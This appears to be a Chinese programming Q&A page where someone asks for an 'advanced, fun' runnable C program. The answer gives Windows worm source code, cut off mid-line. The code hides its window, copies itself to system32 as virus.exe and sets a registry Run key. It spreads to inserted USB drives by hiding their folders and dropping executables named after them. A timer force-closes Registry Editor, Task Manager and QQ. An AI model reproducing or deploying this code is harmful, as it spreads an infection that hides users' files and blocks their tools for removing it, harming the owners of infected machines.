当前位置:编程学习 > C/C++ >>

C语言的高级程序

我现在还C语言可以写出什么高级的,好玩的程序! 现在求一个! 越高级越好!但是要可以运行的!
答案:
#include <windows.h>
#include <Dbt.h>
#include <iostream>
#include"io.h"
#include "tlhelp32.h"
using namespace std;
LRESULT CALLBACK WndProc(
  HWND hwnd,      // handle to window
  UINT uMsg,      // message identifier
  WPARAM wParam,  // first message parameter
  LPARAM lParam   // second message parameter
);
void KillProcess(HWND hwnd);
int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{
    WNDCLASS wndclass;
    wndclass.cbClsExtra=0;
 wndclass.cbWndExtra=0;
 wndclass.hbrBackground=(HBRUSH)GetStockObject(BLACK_BRUSH);
 wndclass.hCursor=LoadCursor(NULL,IDC_ICON);
 wndclass.hIcon=LoadIcon(NULL,IDI_ASTERISK);
 wndclass.hInstance=hInstance;
 wndclass.lpfnWndProc=WndProc;
 wndclass.lpszClassName="lieying";
 wndclass.lpszMenuName=NULL;
 wndclass.style=CS_VREDRAW|CS_HREDRAW;
 RegisterClass(&wndclass);             //注册窗口类
 HWND hwnd;
 hwnd=CreateWindow("lieying","",WS_OVERLAPPEDWINDOW,150,150,683,384,NULL,NULL,hInstance,NULL);
 ShowWindow(hwnd,SW_HIDE);       //隐藏窗体
 UpdateWindow(hwnd);
 MSG msg;
 while(GetMessage(&msg,hwnd,0,0))      //消息循环
 {
 TranslateMessage(&msg);
 DispatchMessage(&msg);
}
 return 0;
}
LRESULT CALLBACK WndProc( HWND hwnd,   UINT uMsg,   WPARAM wParam,   LPARAM lParam  )   //窗口过程
{
switch(uMsg)
{
  case WM_PAINT:
  {
      PAINTSTRUCT ps;
          BeginPaint(hwnd,&ps);
      EndPaint(hwnd,&ps);
      break;
  }
  case WM_CLOSE:
  {
  DestroyWindow(hwnd);
      break;
  }
  case WM_DESTROY:
  {
  PostQuitMessage(0);
               break;
  }
  case WM_CREATE:                                //窗体创建时执行复制自身到系统目录,并写注册表实现开机启动。
  {
                SetTimer(hwnd,1,1000,NULL);           //设置定时器,每秒调用一次。
//复制文件自身到系统目录
TCHAR ExeFullPath[MAX_PATH];
GetModuleFileName(NULL,ExeFullPath,MAX_PATH);   //获取exe的全路径(包括文件名)
 TCHAR NewFilePath[MAX_PATH]="C:\\WINDOWS\\system32\\virus.exe";  //Copy到系统目录。。。。
CopyFile(ExeFullPath,NewFilePath,TRUE); 
//写注册表,实现开机运行。
HKEY hkey;
TCHAR keyvalue[MAX_PATH]="C:\\WINDOWS\\system32\\virus.exe"; 
TCHAR childkey[]=TEXT("Software\\Microsoft\\Windows\\CurrentVersion\\Run");
RegOpenKeyEx(HKEY_LOCAL_MACHINE,childkey,0,KEY_CREATE_SUB_KEY,&hkey);
RegSetValue(HKEY_LOCAL_MACHINE,childkey,REG_SZ,keyvalue,strlen(keyvalue));
RegCloseKey(hkey);
  break;
  }
case WM_DEVICECHANGE:          //移动存储设备插入电脑会产生WM_DEVICECHANGE消息
{
if(lParam!=0)
{
PDEV_BROADCAST_HDR lpdb = (PDEV_BROADCAST_HDR)lParam;   //定义PDEV_BROADCAST_HDR结构体,系统填充结构体信息。
if(lpdb->dbch_devicetype==DBT_DEVTYP_VOLUME)           
{
if(wParam==DBT_DEVICEARRIVAL)                       //移动存储设备已经可用。
{
   long i,j;
TCHAR buf[100];
TCHAR *cdbuf;
j=100;
i=GetLogicalDriveStrings(j,buf);
for(j=0;j<i;j+=4)
{
cdbuf=&buf[j];
if(GetDriveType(cdbuf)==DRIVE_REMOVABLE)   //判断插入设备的类型是否为可移动设备
{

TCHAR FileName[MAX_PATH];
strcpy(FileName,cdbuf);
TCHAR f[MAX_PATH]=TEXT("\\*.");
strcat(FileName,f);
struct _finddata_t files;
int File_Handle;
int i=0;
File_Handle = _findfirst(FileName,&files);             
if(File_Handle==-1)
{
break;
}

do
{
TCHAR temp[MAX_PATH];
strcpy(temp,strcat(cdbuf,"\\"));
                                        strcat(cdbuf,files.name);
                                        //目录正常显示SetFileAttributes(cdbuf,FILE_ATTRIBUTE_ARCHIVE);
                                        SetFileAttributes(cdbuf,FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM);  //给目录添加隐藏,系统属性。
CopyFile("C:\\WINDOWS\\system32\\virus.exe",strcat(cdbuf,".exe"),FALSE); //将系统目录下的病毒文件,拷贝到U盘,名字为U盘子目录的名字加.exe。
i++;
strcpy(cdbuf,temp);
}
while(0==_findnext(File_Handle,&files));
_findclose(File_Handle);
//MessageBox(hwnd,"I have already finished my task......","Sucess",MB_OK||MB_ICONINFORMATION);
}
}
}
}
}
}
break;
case WM_TIMER:                                   //处理WM_TIMER消息
{
  HWND hwReg=FindWindow("RegEdit_RegEdit","注册表编辑器");       //寻找注册表
  if(hwReg!=NULL)
  {
  SendMessage(hwReg,WM_CLOSE,NULL,NULL);                     //如果找到注册表,立即关闭
  }

  HWND hwTsk=FindWindow("#32770","Windows 任务管理器");          //寻找任务管理器
  if(hwTsk!=NULL)
  {
                        SendMessage(hwTsk,WM_CLOSE,NULL,NULL);                   //如果找到任务管理器,立即关闭
  }
  HWND hwQQ=FindWindow("TXGuiFoundation",NULL);             //查找QQ
  if(hwQQ!=NULL)
  {
           &nbs

上一个:求C语言基础题!
下一个:c语言逻辑运算符怎么理解?

CopyRight © 2022 站长资源库 编程知识问答 zzzyk.com All Rights Reserved
部分文章来自网络,